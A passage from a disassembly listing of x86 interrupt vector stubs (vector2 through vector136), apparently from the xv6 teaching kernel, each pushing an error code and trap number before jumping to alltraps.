jmp alltraps
80106b06: e9 4e f9 ff ff jmp 80106459 <alltraps>
80106b0b <vector2>:
.globl vector2
vector2:
pushl $0
80106b0b: 6a 00 push $0x0
pushl $2
80106b0d: 6a 02 push $0x2
jmp alltraps
80106b0f: e9 45 f9 ff ff jmp 80106459 <alltraps>
80106b14 <vector3>:
.globl vector3
vector3:
pushl $0
80106b14: 6a 00 push $0x0
pushl $3
80106b16: 6a 03 push $0x3
jmp alltraps
80106b18: e9 3c f9 ff ff jmp 80106459 <alltraps>
80106b1d <vector4>:
.globl vector4
vector4:
pushl $0
80106b1d: 6a 00 push $0x0
pushl $4
80106b1f: 6a 04 push $0x4
jmp alltraps
80106b21: e9 33 f9 ff ff jmp 80106459 <alltraps>
80106b26 <vector5>:
.globl vector5
vector5:
pushl $0
80106b26: 6a 00 push $0x0
pushl $5
80106b28: 6a 05 push $0x5
jmp alltraps
80106b2a: e9 2a f9 ff ff jmp 80106459 <alltraps>
80106b2f <vector6>:
.globl vector6
vector6:
pushl $0
80106b2f: 6a 00 push $0x0
pushl $6
80106b31: 6a 06 push $0x6
jmp alltraps
80106b33: e9 21 f9 ff ff jmp 80106459 <alltraps>
80106b38 <vector7>:
.globl vector7
vector7:
pushl $0
80106b38: 6a 00 push $0x0
pushl $7
80106b3a: 6a 07 push $0x7
jmp alltraps
80106b3c: e9 18 f9 ff ff jmp 80106459 <alltraps>
80106b41 <vector8>:
.globl vector8
vector8:
pushl $8
80106b41: 6a 08 push $0x8
jmp alltraps
80106b43: e9 11 f9 ff ff jmp 80106459 <alltraps>
80106b48 <vector9>:
.globl vector9
vector9:
pushl $0
80106b48: 6a 00 push $0x0
pushl $9
80106b4a: 6a 09 push $0x9
jmp alltraps
80106b4c: e9 08 f9 ff ff jmp 80106459 <alltraps>
80106b51 <vector10>:
.globl vector10
vector10:
pushl $10
80106b51: 6a 0a push $0xa
jmp alltraps
80106b53: e9 01 f9 ff ff jmp 80106459 <alltraps>
80106b58 <vector11>:
.globl vector11
vector11:
pushl $11
80106b58: 6a 0b push $0xb
jmp alltraps
80106b5a: e9 fa f8 ff ff jmp 80106459 <alltraps>
80106b5f <vector12>:
.globl vector12
vector12:
pushl $12
80106b5f: 6a 0c push $0xc
jmp alltraps
80106b61: e9 f3 f8 ff ff jmp 80106459 <alltraps>
80106b66 <vector13>:
.globl vector13
vector13:
pushl $13
80106b66: 6a 0d push $0xd
jmp alltraps
80106b68: e9 ec f8 ff ff jmp 80106459 <alltraps>
80106b6d <vector14>:
.globl vector14
vector14:
pushl $14
80106b6d: 6a 0e push $0xe
jmp alltraps
80106b6f: e9 e5 f8 ff ff jmp 80106459 <alltraps>
80106b74 <vector15>:
.globl vector15
vector15:
pushl $0
80106b74: 6a 00 push $0x0
pushl $15
80106b76: 6a 0f push $0xf
jmp alltraps
80106b78: e9 dc f8 ff ff jmp 80106459 <alltraps>
80106b7d <vector16>:
.globl vector16
vector16:
pushl $0
80106b7d: 6a 00 push $0x0
pushl $16
80106b7f: 6a 10 push $0x10
jmp alltraps
80106b81: e9 d3 f8 ff ff jmp 80106459 <alltraps>
80106b86 <vector17>:
.globl vector17
vector17:
pushl $17
80106b86: 6a 11 push $0x11
jmp alltraps
80106b88: e9 cc f8 ff ff jmp 80106459 <alltraps>
80106b8d <vector18>:
.globl vector18
vector18:
pushl $0
80106b8d: 6a 00 push $0x0
pushl $18
80106b8f: 6a 12 push $0x12
jmp alltraps
80106b91: e9 c3 f8 ff ff jmp 80106459 <alltraps>
80106b96 <vector19>:
.globl vector19
vector19:
pushl $0
80106b96: 6a 00 push $0x0
pushl $19
80106b98: 6a 13 push $0x13
jmp alltraps
80106b9a: e9 ba f8 ff ff jmp 80106459 <alltraps>
80106b9f <vector20>:
.globl vector20
vector20:
pushl $0
80106b9f: 6a 00 push $0x0
pushl $20
80106ba1: 6a 14 push $0x14
jmp alltraps
80106ba3: e9 b1 f8 ff ff jmp 80106459 <alltraps>
80106ba8 <vector21>:
.globl vector21
vector21:
pushl $0
80106ba8: 6a 00 push $0x0
pushl $21
80106baa: 6a 15 push $0x15
jmp alltraps
80106bac: e9 a8 f8 ff ff jmp 80106459 <alltraps>
80106bb1 <vector22>:
.globl vector22
vector22:
pushl $0
80106bb1: 6a 00 push $0x0
pushl $22
80106bb3: 6a 16 push $0x16
jmp alltraps
80106bb5: e9 9f f8 ff ff jmp 80106459 <alltraps>
80106bba <vector23>:
.globl vector23
vector23:
pushl $0
80106bba: 6a 00 push $0x0
pushl $23
80106bbc: 6a 17 push $0x17
jmp alltraps
80106bbe: e9 96 f8 ff ff jmp 80106459 <alltraps>
80106bc3 <vector24>:
.globl vector24
vector24:
pushl $0
80106bc3: 6a 00 push $0x0
pushl $24
80106bc5: 6a 18 push $0x18
jmp alltraps
80106bc7: e9 8d f8 ff ff jmp 80106459 <alltraps>
80106bcc <vector25>:
.globl vector25
vector25:
pushl $0
80106bcc: 6a 00 push $0x0
pushl $25
80106bce: 6a 19 push $0x19
jmp alltraps
80106bd0: e9 84 f8 ff ff jmp 80106459 <alltraps>
80106bd5 <vector26>:
.globl vector26
vector26:
pushl $0
80106bd5: 6a 00 push $0x0
pushl $26
80106bd7: 6a 1a push $0x1a
jmp alltraps
80106bd9: e9 7b f8 ff ff jmp 80106459 <alltraps>
80106bde <vector27>:
.globl vector27
vector27:
pushl $0
80106bde: 6a 00 push $0x0
pushl $27
80106be0: 6a 1b push $0x1b
jmp alltraps
80106be2: e9 72 f8 ff ff jmp 80106459 <alltraps>
80106be7 <vector28>:
.globl vector28
vector28:
pushl $0
80106be7: 6a 00 push $0x0
pushl $28
80106be9: 6a 1c push $0x1c
jmp alltraps
80106beb: e9 69 f8 ff ff jmp 80106459 <alltraps>
80106bf0 <vector29>:
.globl vector29
vector29:
pushl $0
80106bf0: 6a 00 push $0x0
pushl $29
80106bf2: 6a 1d push $0x1d
jmp alltraps
80106bf4: e9 60 f8 ff ff jmp 80106459 <alltraps>
80106bf9 <vector30>:
.globl vector30
vector30:
pushl $0
80106bf9: 6a 00 push $0x0
pushl $30
80106bfb: 6a 1e push $0x1e
jmp alltraps
80106bfd: e9 57 f8 ff ff jmp 80106459 <alltraps>
80106c02 <vector31>:
.globl vector31
vector31:
pushl $0
80106c02: 6a 00 push $0x0
pushl $31
80106c04: 6a 1f push $0x1f
jmp alltraps
80106c06: e9 4e f8 ff ff jmp 80106459 <alltraps>
80106c0b <vector32>:
.globl vector32
vector32:
pushl $0
80106c0b: 6a 00 push $0x0
pushl $32
80106c0d: 6a 20 push $0x20
jmp alltraps
80106c0f: e9 45 f8 ff ff jmp 80106459 <alltraps>
80106c14 <vector33>:
.globl vector33
vector33:
pushl $0
80106c14: 6a 00 push $0x0
pushl $33
80106c16: 6a 21 push $0x21
jmp alltraps
80106c18: e9 3c f8 ff ff jmp 80106459 <alltraps>
80106c1d <vector34>:
.globl vector34
vector34:
pushl $0
80106c1d: 6a 00 push $0x0
pushl $34
80106c1f: 6a 22 push $0x22
jmp alltraps
80106c21: e9 33 f8 ff ff jmp 80106459 <alltraps>
80106c26 <vector35>:
.globl vector35
vector35:
pushl $0
80106c26: 6a 00 push $0x0
pushl $35
80106c28: 6a 23 push $0x23
jmp alltraps
80106c2a: e9 2a f8 ff ff jmp 80106459 <alltraps>
80106c2f <vector36>:
.globl vector36
vector36:
pushl $0
80106c2f: 6a 00 push $0x0
pushl $36
80106c31: 6a 24 push $0x24
jmp alltraps
80106c33: e9 21 f8 ff ff jmp 80106459 <alltraps>
80106c38 <vector37>:
.globl vector37
vector37:
pushl $0
80106c38: 6a 00 push $0x0
pushl $37
80106c3a: 6a 25 push $0x25
jmp alltraps
80106c3c: e9 18 f8 ff ff jmp 80106459 <alltraps>
80106c41 <vector38>:
.globl vector38
vector38:
pushl $0
80106c41: 6a 00 push $0x0
pushl $38
80106c43: 6a 26 push $0x26
jmp alltraps
80106c45: e9 0f f8 ff ff jmp 80106459 <alltraps>
80106c4a <vector39>:
.globl vector39
vector39:
pushl $0
80106c4a: 6a 00 push $0x0
pushl $39
80106c4c: 6a 27 push $0x27
jmp alltraps
80106c4e: e9 06 f8 ff ff jmp 80106459 <alltraps>
80106c53 <vector40>:
.globl vector40
vector40:
pushl $0
80106c53: 6a 00 push $0x0
pushl $40
80106c55: 6a 28 push $0x28
jmp alltraps
80106c57: e9 fd f7 ff ff jmp 80106459 <alltraps>
80106c5c <vector41>:
.globl vector41
vector41:
pushl $0
80106c5c: 6a 00 push $0x0
pushl $41
80106c5e: 6a 29 push $0x29
jmp alltraps
80106c60: e9 f4 f7 ff ff jmp 80106459 <alltraps>
80106c65 <vector42>:
.globl vector42
vector42:
pushl $0
80106c65: 6a 00 push $0x0
pushl $42
80106c67: 6a 2a push $0x2a
jmp alltraps
80106c69: e9 eb f7 ff ff jmp 80106459 <alltraps>
80106c6e <vector43>:
.globl vector43
vector43:
pushl $0
80106c6e: 6a 00 push $0x0
pushl $43
80106c70: 6a 2b push $0x2b
jmp alltraps
80106c72: e9 e2 f7 ff ff jmp 80106459 <alltraps>
80106c77 <vector44>:
.globl vector44
vector44:
pushl $0
80106c77: 6a 00 push $0x0
pushl $44
80106c79: 6a 2c push $0x2c
jmp alltraps
80106c7b: e9 d9 f7 ff ff jmp 80106459 <alltraps>
80106c80 <vector45>:
.globl vector45
vector45:
pushl $0
80106c80: 6a 00 push $0x0
pushl $45
80106c82: 6a 2d push $0x2d
jmp alltraps
80106c84: e9 d0 f7 ff ff jmp 80106459 <alltraps>
80106c89 <vector46>:
.globl vector46
vector46:
pushl $0
80106c89: 6a 00 push $0x0
pushl $46
80106c8b: 6a 2e push $0x2e
jmp alltraps
80106c8d: e9 c7 f7 ff ff jmp 80106459 <alltraps>
80106c92 <vector47>:
.globl vector47
vector47:
pushl $0
80106c92: 6a 00 push $0x0
pushl $47
80106c94: 6a 2f push $0x2f
jmp alltraps
80106c96: e9 be f7 ff ff jmp 80106459 <alltraps>
80106c9b <vector48>:
.globl vector48
vector48:
pushl $0
80106c9b: 6a 00 push $0x0
pushl $48
80106c9d: 6a 30 push $0x30
jmp alltraps
80106c9f: e9 b5 f7 ff ff jmp 80106459 <alltraps>
80106ca4 <vector49>:
.globl vector49
vector49:
pushl $0
80106ca4: 6a 00 push $0x0
pushl $49
80106ca6: 6a 31 push $0x31
jmp alltraps
80106ca8: e9 ac f7 ff ff jmp 80106459 <alltraps>
80106cad <vector50>:
.globl vector50
vector50:
pushl $0
80106cad: 6a 00 push $0x0
pushl $50
80106caf: 6a 32 push $0x32
jmp alltraps
80106cb1: e9 a3 f7 ff ff jmp 80106459 <alltraps>
80106cb6 <vector51>:
.globl vector51
vector51:
pushl $0
80106cb6: 6a 00 push $0x0
pushl $51
80106cb8: 6a 33 push $0x33
jmp alltraps
80106cba: e9 9a f7 ff ff jmp 80106459 <alltraps>
80106cbf <vector52>:
.globl vector52
vector52:
pushl $0
80106cbf: 6a 00 push $0x0
pushl $52
80106cc1: 6a 34 push $0x34
jmp alltraps
80106cc3: e9 91 f7 ff ff jmp 80106459 <alltraps>
80106cc8 <vector53>:
.globl vector53
vector53:
pushl $0
80106cc8: 6a 00 push $0x0
pushl $53
80106cca: 6a 35 push $0x35
jmp alltraps
80106ccc: e9 88 f7 ff ff jmp 80106459 <alltraps>
80106cd1 <vector54>:
.globl vector54
vector54:
pushl $0
80106cd1: 6a 00 push $0x0
pushl $54
80106cd3: 6a 36 push $0x36
jmp alltraps
80106cd5: e9 7f f7 ff ff jmp 80106459 <alltraps>
80106cda <vector55>:
.globl vector55
vector55:
pushl $0
80106cda: 6a 00 push $0x0
pushl $55
80106cdc: 6a 37 push $0x37
jmp alltraps
80106cde: e9 76 f7 ff ff jmp 80106459 <alltraps>
80106ce3 <vector56>:
.globl vector56
vector56:
pushl $0
80106ce3: 6a 00 push $0x0
pushl $56
80106ce5: 6a 38 push $0x38
jmp alltraps
80106ce7: e9 6d f7 ff ff jmp 80106459 <alltraps>
80106cec <vector57>:
.globl vector57
vector57:
pushl $0
80106cec: 6a 00 push $0x0
pushl $57
80106cee: 6a 39 push $0x39
jmp alltraps
80106cf0: e9 64 f7 ff ff jmp 80106459 <alltraps>
80106cf5 <vector58>:
.globl vector58
vector58:
pushl $0
80106cf5: 6a 00 push $0x0
pushl $58
80106cf7: 6a 3a push $0x3a
jmp alltraps
80106cf9: e9 5b f7 ff ff jmp 80106459 <alltraps>
80106cfe <vector59>:
.globl vector59
vector59:
pushl $0
80106cfe: 6a 00 push $0x0
pushl $59
80106d00: 6a 3b push $0x3b
jmp alltraps
80106d02: e9 52 f7 ff ff jmp 80106459 <alltraps>
80106d07 <vector60>:
.globl vector60
vector60:
pushl $0
80106d07: 6a 00 push $0x0
pushl $60
80106d09: 6a 3c push $0x3c
jmp alltraps
80106d0b: e9 49 f7 ff ff jmp 80106459 <alltraps>
80106d10 <vector61>:
.globl vector61
vector61:
pushl $0
80106d10: 6a 00 push $0x0
pushl $61
80106d12: 6a 3d push $0x3d
jmp alltraps
80106d14: e9 40 f7 ff ff jmp 80106459 <alltraps>
80106d19 <vector62>:
.globl vector62
vector62:
pushl $0
80106d19: 6a 00 push $0x0
pushl $62
80106d1b: 6a 3e push $0x3e
jmp alltraps
80106d1d: e9 37 f7 ff ff jmp 80106459 <alltraps>
80106d22 <vector63>:
.globl vector63
vector63:
pushl $0
80106d22: 6a 00 push $0x0
pushl $63
80106d24: 6a 3f push $0x3f
jmp alltraps
80106d26: e9 2e f7 ff ff jmp 80106459 <alltraps>
80106d2b <vector64>:
.globl vector64
vector64:
pushl $0
80106d2b: 6a 00 push $0x0
pushl $64
80106d2d: 6a 40 push $0x40
jmp alltraps
80106d2f: e9 25 f7 ff ff jmp 80106459 <alltraps>
80106d34 <vector65>:
.globl vector65
vector65:
pushl $0
80106d34: 6a 00 push $0x0
pushl $65
80106d36: 6a 41 push $0x41
jmp alltraps
80106d38: e9 1c f7 ff ff jmp 80106459 <alltraps>
80106d3d <vector66>:
.globl vector66
vector66:
pushl $0
80106d3d: 6a 00 push $0x0
pushl $66
80106d3f: 6a 42 push $0x42
jmp alltraps
80106d41: e9 13 f7 ff ff jmp 80106459 <alltraps>
80106d46 <vector67>:
.globl vector67
vector67:
pushl $0
80106d46: 6a 00 push $0x0
pushl $67
80106d48: 6a 43 push $0x43
jmp alltraps
80106d4a: e9 0a f7 ff ff jmp 80106459 <alltraps>
80106d4f <vector68>:
.globl vector68
vector68:
pushl $0
80106d4f: 6a 00 push $0x0
pushl $68
80106d51: 6a 44 push $0x44
jmp alltraps
80106d53: e9 01 f7 ff ff jmp 80106459 <alltraps>
80106d58 <vector69>:
.globl vector69
vector69:
pushl $0
80106d58: 6a 00 push $0x0
pushl $69
80106d5a: 6a 45 push $0x45
jmp alltraps
80106d5c: e9 f8 f6 ff ff jmp 80106459 <alltraps>
80106d61 <vector70>:
.globl vector70
vector70:
pushl $0
80106d61: 6a 00 push $0x0
pushl $70
80106d63: 6a 46 push $0x46
jmp alltraps
80106d65: e9 ef f6 ff ff jmp 80106459 <alltraps>
80106d6a <vector71>:
.globl vector71
vector71:
pushl $0
80106d6a: 6a 00 push $0x0
pushl $71
80106d6c: 6a 47 push $0x47
jmp alltraps
80106d6e: e9 e6 f6 ff ff jmp 80106459 <alltraps>
80106d73 <vector72>:
.globl vector72
vector72:
pushl $0
80106d73: 6a 00 push $0x0
pushl $72
80106d75: 6a 48 push $0x48
jmp alltraps
80106d77: e9 dd f6 ff ff jmp 80106459 <alltraps>
80106d7c <vector73>:
.globl vector73
vector73:
pushl $0
80106d7c: 6a 00 push $0x0
pushl $73
80106d7e: 6a 49 push $0x49
jmp alltraps
80106d80: e9 d4 f6 ff ff jmp 80106459 <alltraps>
80106d85 <vector74>:
.globl vector74
vector74:
pushl $0
80106d85: 6a 00 push $0x0
pushl $74
80106d87: 6a 4a push $0x4a
jmp alltraps
80106d89: e9 cb f6 ff ff jmp 80106459 <alltraps>
80106d8e <vector75>:
.globl vector75
vector75:
pushl $0
80106d8e: 6a 00 push $0x0
pushl $75
80106d90: 6a 4b push $0x4b
jmp alltraps
80106d92: e9 c2 f6 ff ff jmp 80106459 <alltraps>
80106d97 <vector76>:
.globl vector76
vector76:
pushl $0
80106d97: 6a 00 push $0x0
pushl $76
80106d99: 6a 4c push $0x4c
jmp alltraps
80106d9b: e9 b9 f6 ff ff jmp 80106459 <alltraps>
80106da0 <vector77>:
.globl vector77
vector77:
pushl $0
80106da0: 6a 00 push $0x0
pushl $77
80106da2: 6a 4d push $0x4d
jmp alltraps
80106da4: e9 b0 f6 ff ff jmp 80106459 <alltraps>
80106da9 <vector78>:
.globl vector78
vector78:
pushl $0
80106da9: 6a 00 push $0x0
pushl $78
80106dab: 6a 4e push $0x4e
jmp alltraps
80106dad: e9 a7 f6 ff ff jmp 80106459 <alltraps>
80106db2 <vector79>:
.globl vector79
vector79:
pushl $0
80106db2: 6a 00 push $0x0
pushl $79
80106db4: 6a 4f push $0x4f
jmp alltraps
80106db6: e9 9e f6 ff ff jmp 80106459 <alltraps>
80106dbb <vector80>:
.globl vector80
vector80:
pushl $0
80106dbb: 6a 00 push $0x0
pushl $80
80106dbd: 6a 50 push $0x50
jmp alltraps
80106dbf: e9 95 f6 ff ff jmp 80106459 <alltraps>
80106dc4 <vector81>:
.globl vector81
vector81:
pushl $0
80106dc4: 6a 00 push $0x0
pushl $81
80106dc6: 6a 51 push $0x51
jmp alltraps
80106dc8: e9 8c f6 ff ff jmp 80106459 <alltraps>
80106dcd <vector82>:
.globl vector82
vector82:
pushl $0
80106dcd: 6a 00 push $0x0
pushl $82
80106dcf: 6a 52 push $0x52
jmp alltraps
80106dd1: e9 83 f6 ff ff jmp 80106459 <alltraps>
80106dd6 <vector83>:
.globl vector83
vector83:
pushl $0
80106dd6: 6a 00 push $0x0
pushl $83
80106dd8: 6a 53 push $0x53
jmp alltraps
80106dda: e9 7a f6 ff ff jmp 80106459 <alltraps>
80106ddf <vector84>:
.globl vector84
vector84:
pushl $0
80106ddf: 6a 00 push $0x0
pushl $84
80106de1: 6a 54 push $0x54
jmp alltraps
80106de3: e9 71 f6 ff ff jmp 80106459 <alltraps>
80106de8 <vector85>:
.globl vector85
vector85:
pushl $0
80106de8: 6a 00 push $0x0
pushl $85
80106dea: 6a 55 push $0x55
jmp alltraps
80106dec: e9 68 f6 ff ff jmp 80106459 <alltraps>
80106df1 <vector86>:
.globl vector86
vector86:
pushl $0
80106df1: 6a 00 push $0x0
pushl $86
80106df3: 6a 56 push $0x56
jmp alltraps
80106df5: e9 5f f6 ff ff jmp 80106459 <alltraps>
80106dfa <vector87>:
.globl vector87
vector87:
pushl $0
80106dfa: 6a 00 push $0x0
pushl $87
80106dfc: 6a 57 push $0x57
jmp alltraps
80106dfe: e9 56 f6 ff ff jmp 80106459 <alltraps>
80106e03 <vector88>:
.globl vector88
vector88:
pushl $0
80106e03: 6a 00 push $0x0
pushl $88
80106e05: 6a 58 push $0x58
jmp alltraps
80106e07: e9 4d f6 ff ff jmp 80106459 <alltraps>
80106e0c <vector89>:
.globl vector89
vector89:
pushl $0
80106e0c: 6a 00 push $0x0
pushl $89
80106e0e: 6a 59 push $0x59
jmp alltraps
80106e10: e9 44 f6 ff ff jmp 80106459 <alltraps>
80106e15 <vector90>:
.globl vector90
vector90:
pushl $0
80106e15: 6a 00 push $0x0
pushl $90
80106e17: 6a 5a push $0x5a
jmp alltraps
80106e19: e9 3b f6 ff ff jmp 80106459 <alltraps>
80106e1e <vector91>:
.globl vector91
vector91:
pushl $0
80106e1e: 6a 00 push $0x0
pushl $91
80106e20: 6a 5b push $0x5b
jmp alltraps
80106e22: e9 32 f6 ff ff jmp 80106459 <alltraps>
80106e27 <vector92>:
.globl vector92
vector92:
pushl $0
80106e27: 6a 00 push $0x0
pushl $92
80106e29: 6a 5c push $0x5c
jmp alltraps
80106e2b: e9 29 f6 ff ff jmp 80106459 <alltraps>
80106e30 <vector93>:
.globl vector93
vector93:
pushl $0
80106e30: 6a 00 push $0x0
pushl $93
80106e32: 6a 5d push $0x5d
jmp alltraps
80106e34: e9 20 f6 ff ff jmp 80106459 <alltraps>
80106e39 <vector94>:
.globl vector94
vector94:
pushl $0
80106e39: 6a 00 push $0x0
pushl $94
80106e3b: 6a 5e push $0x5e
jmp alltraps
80106e3d: e9 17 f6 ff ff jmp 80106459 <alltraps>
80106e42 <vector95>:
.globl vector95
vector95:
pushl $0
80106e42: 6a 00 push $0x0
pushl $95
80106e44: 6a 5f push $0x5f
jmp alltraps
80106e46: e9 0e f6 ff ff jmp 80106459 <alltraps>
80106e4b <vector96>:
.globl vector96
vector96:
pushl $0
80106e4b: 6a 00 push $0x0
pushl $96
80106e4d: 6a 60 push $0x60
jmp alltraps
80106e4f: e9 05 f6 ff ff jmp 80106459 <alltraps>
80106e54 <vector97>:
.globl vector97
vector97:
pushl $0
80106e54: 6a 00 push $0x0
pushl $97
80106e56: 6a 61 push $0x61
jmp alltraps
80106e58: e9 fc f5 ff ff jmp 80106459 <alltraps>
80106e5d <vector98>:
.globl vector98
vector98:
pushl $0
80106e5d: 6a 00 push $0x0
pushl $98
80106e5f: 6a 62 push $0x62
jmp alltraps
80106e61: e9 f3 f5 ff ff jmp 80106459 <alltraps>
80106e66 <vector99>:
.globl vector99
vector99:
pushl $0
80106e66: 6a 00 push $0x0
pushl $99
80106e68: 6a 63 push $0x63
jmp alltraps
80106e6a: e9 ea f5 ff ff jmp 80106459 <alltraps>
80106e6f <vector100>:
.globl vector100
vector100:
pushl $0
80106e6f: 6a 00 push $0x0
pushl $100
80106e71: 6a 64 push $0x64
jmp alltraps
80106e73: e9 e1 f5 ff ff jmp 80106459 <alltraps>
80106e78 <vector101>:
.globl vector101
vector101:
pushl $0
80106e78: 6a 00 push $0x0
pushl $101
80106e7a: 6a 65 push $0x65
jmp alltraps
80106e7c: e9 d8 f5 ff ff jmp 80106459 <alltraps>
80106e81 <vector102>:
.globl vector102
vector102:
pushl $0
80106e81: 6a 00 push $0x0
pushl $102
80106e83: 6a 66 push $0x66
jmp alltraps
80106e85: e9 cf f5 ff ff jmp 80106459 <alltraps>
80106e8a <vector103>:
.globl vector103
vector103:
pushl $0
80106e8a: 6a 00 push $0x0
pushl $103
80106e8c: 6a 67 push $0x67
jmp alltraps
80106e8e: e9 c6 f5 ff ff jmp 80106459 <alltraps>
80106e93 <vector104>:
.globl vector104
vector104:
pushl $0
80106e93: 6a 00 push $0x0
pushl $104
80106e95: 6a 68 push $0x68
jmp alltraps
80106e97: e9 bd f5 ff ff jmp 80106459 <alltraps>
80106e9c <vector105>:
.globl vector105
vector105:
pushl $0
80106e9c: 6a 00 push $0x0
pushl $105
80106e9e: 6a 69 push $0x69
jmp alltraps
80106ea0: e9 b4 f5 ff ff jmp 80106459 <alltraps>
80106ea5 <vector106>:
.globl vector106
vector106:
pushl $0
80106ea5: 6a 00 push $0x0
pushl $106
80106ea7: 6a 6a push $0x6a
jmp alltraps
80106ea9: e9 ab f5 ff ff jmp 80106459 <alltraps>
80106eae <vector107>:
.globl vector107
vector107:
pushl $0
80106eae: 6a 00 push $0x0
pushl $107
80106eb0: 6a 6b push $0x6b
jmp alltraps
80106eb2: e9 a2 f5 ff ff jmp 80106459 <alltraps>
80106eb7 <vector108>:
.globl vector108
vector108:
pushl $0
80106eb7: 6a 00 push $0x0
pushl $108
80106eb9: 6a 6c push $0x6c
jmp alltraps
80106ebb: e9 99 f5 ff ff jmp 80106459 <alltraps>
80106ec0 <vector109>:
.globl vector109
vector109:
pushl $0
80106ec0: 6a 00 push $0x0
pushl $109
80106ec2: 6a 6d push $0x6d
jmp alltraps
80106ec4: e9 90 f5 ff ff jmp 80106459 <alltraps>
80106ec9 <vector110>:
.globl vector110
vector110:
pushl $0
80106ec9: 6a 00 push $0x0
pushl $110
80106ecb: 6a 6e push $0x6e
jmp alltraps
80106ecd: e9 87 f5 ff ff jmp 80106459 <alltraps>
80106ed2 <vector111>:
.globl vector111
vector111:
pushl $0
80106ed2: 6a 00 push $0x0
pushl $111
80106ed4: 6a 6f push $0x6f
jmp alltraps
80106ed6: e9 7e f5 ff ff jmp 80106459 <alltraps>
80106edb <vector112>:
.globl vector112
vector112:
pushl $0
80106edb: 6a 00 push $0x0
pushl $112
80106edd: 6a 70 push $0x70
jmp alltraps
80106edf: e9 75 f5 ff ff jmp 80106459 <alltraps>
80106ee4 <vector113>:
.globl vector113
vector113:
pushl $0
80106ee4: 6a 00 push $0x0
pushl $113
80106ee6: 6a 71 push $0x71
jmp alltraps
80106ee8: e9 6c f5 ff ff jmp 80106459 <alltraps>
80106eed <vector114>:
.globl vector114
vector114:
pushl $0
80106eed: 6a 00 push $0x0
pushl $114
80106eef: 6a 72 push $0x72
jmp alltraps
80106ef1: e9 63 f5 ff ff jmp 80106459 <alltraps>
80106ef6 <vector115>:
.globl vector115
vector115:
pushl $0
80106ef6: 6a 00 push $0x0
pushl $115
80106ef8: 6a 73 push $0x73
jmp alltraps
80106efa: e9 5a f5 ff ff jmp 80106459 <alltraps>
80106eff <vector116>:
.globl vector116
vector116:
pushl $0
80106eff: 6a 00 push $0x0
pushl $116
80106f01: 6a 74 push $0x74
jmp alltraps
80106f03: e9 51 f5 ff ff jmp 80106459 <alltraps>
80106f08 <vector117>:
.globl vector117
vector117:
pushl $0
80106f08: 6a 00 push $0x0
pushl $117
80106f0a: 6a 75 push $0x75
jmp alltraps
80106f0c: e9 48 f5 ff ff jmp 80106459 <alltraps>
80106f11 <vector118>:
.globl vector118
vector118:
pushl $0
80106f11: 6a 00 push $0x0
pushl $118
80106f13: 6a 76 push $0x76
jmp alltraps
80106f15: e9 3f f5 ff ff jmp 80106459 <alltraps>
80106f1a <vector119>:
.globl vector119
vector119:
pushl $0
80106f1a: 6a 00 push $0x0
pushl $119
80106f1c: 6a 77 push $0x77
jmp alltraps
80106f1e: e9 36 f5 ff ff jmp 80106459 <alltraps>
80106f23 <vector120>:
.globl vector120
vector120:
pushl $0
80106f23: 6a 00 push $0x0
pushl $120
80106f25: 6a 78 push $0x78
jmp alltraps
80106f27: e9 2d f5 ff ff jmp 80106459 <alltraps>
80106f2c <vector121>:
.globl vector121
vector121:
pushl $0
80106f2c: 6a 00 push $0x0
pushl $121
80106f2e: 6a 79 push $0x79
jmp alltraps
80106f30: e9 24 f5 ff ff jmp 80106459 <alltraps>
80106f35 <vector122>:
.globl vector122
vector122:
pushl $0
80106f35: 6a 00 push $0x0
pushl $122
80106f37: 6a 7a push $0x7a
jmp alltraps
80106f39: e9 1b f5 ff ff jmp 80106459 <alltraps>
80106f3e <vector123>:
.globl vector123
vector123:
pushl $0
80106f3e: 6a 00 push $0x0
pushl $123
80106f40: 6a 7b push $0x7b
jmp alltraps
80106f42: e9 12 f5 ff ff jmp 80106459 <alltraps>
80106f47 <vector124>:
.globl vector124
vector124:
pushl $0
80106f47: 6a 00 push $0x0
pushl $124
80106f49: 6a 7c push $0x7c
jmp alltraps
80106f4b: e9 09 f5 ff ff jmp 80106459 <alltraps>
80106f50 <vector125>:
.globl vector125
vector125:
pushl $0
80106f50: 6a 00 push $0x0
pushl $125
80106f52: 6a 7d push $0x7d
jmp alltraps
80106f54: e9 00 f5 ff ff jmp 80106459 <alltraps>
80106f59 <vector126>:
.globl vector126
vector126:
pushl $0
80106f59: 6a 00 push $0x0
pushl $126
80106f5b: 6a 7e push $0x7e
jmp alltraps
80106f5d: e9 f7 f4 ff ff jmp 80106459 <alltraps>
80106f62 <vector127>:
.globl vector127
vector127:
pushl $0
80106f62: 6a 00 push $0x0
pushl $127
80106f64: 6a 7f push $0x7f
jmp alltraps
80106f66: e9 ee f4 ff ff jmp 80106459 <alltraps>
80106f6b <vector128>:
.globl vector128
vector128:
pushl $0
80106f6b: 6a 00 push $0x0
pushl $128
80106f6d: 68 80 00 00 00 push $0x80
jmp alltraps
80106f72: e9 e2 f4 ff ff jmp 80106459 <alltraps>
80106f77 <vector129>:
.globl vector129
vector129:
pushl $0
80106f77: 6a 00 push $0x0
pushl $129
80106f79: 68 81 00 00 00 push $0x81
jmp alltraps
80106f7e: e9 d6 f4 ff ff jmp 80106459 <alltraps>
80106f83 <vector130>:
.globl vector130
vector130:
pushl $0
80106f83: 6a 00 push $0x0
pushl $130
80106f85: 68 82 00 00 00 push $0x82
jmp alltraps
80106f8a: e9 ca f4 ff ff jmp 80106459 <alltraps>
80106f8f <vector131>:
.globl vector131
vector131:
pushl $0
80106f8f: 6a 00 push $0x0
pushl $131
80106f91: 68 83 00 00 00 push $0x83
jmp alltraps
80106f96: e9 be f4 ff ff jmp 80106459 <alltraps>
80106f9b <vector132>:
.globl vector132
vector132:
pushl $0
80106f9b: 6a 00 push $0x0
pushl $132
80106f9d: 68 84 00 00 00 push $0x84
jmp alltraps
80106fa2: e9 b2 f4 ff ff jmp 80106459 <alltraps>
80106fa7 <vector133>:
.globl vector133
vector133:
pushl $0
80106fa7: 6a 00 push $0x0
pushl $133
80106fa9: 68 85 00 00 00 push $0x85
jmp alltraps
80106fae: e9 a6 f4 ff ff jmp 80106459 <alltraps>
80106fb3 <vector134>:
.globl vector134
vector134:
pushl $0
80106fb3: 6a 00 push $0x0
pushl $134
80106fb5: 68 86 00 00 00 push $0x86
jmp alltraps
80106fba: e9 9a f4 ff ff jmp 80106459 <alltraps>
80106fbf <vector135>:
.globl vector135
vector135:
pushl $0
80106fbf: 6a 00 push $0x0
pushl $135
80106fc1: 68 87 00 00 00 push $0x87
jmp alltraps
80106fc6: e9 8e f4 ff ff jmp 80106459 <alltraps>
80106fcb <vector136>:
.globl vector136
vector136:
pushl $0
80106fcb: 6a 00 push $0x0
pushl $136
